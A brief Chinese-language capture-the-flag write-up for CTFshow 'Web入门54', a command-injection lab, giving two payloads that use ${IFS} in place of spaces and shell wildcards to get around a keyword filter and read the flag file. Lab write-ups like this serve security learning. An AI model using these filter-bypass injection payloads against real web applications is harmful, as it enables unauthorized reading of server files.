CTFshow WEB入门54

方法一：利用paste查看文件内容
payload：?c=paste${IFS}fla?.php

方法二：
payload：/bin/?at${IFS}f???????
可以理解为当前目录运行cat命令实际上运行的也是bin/cat，而通配符不会帮你去找到bin下面的cat
只会在当前目录寻找能通配的文件,所以用通配符运行时必须给出路径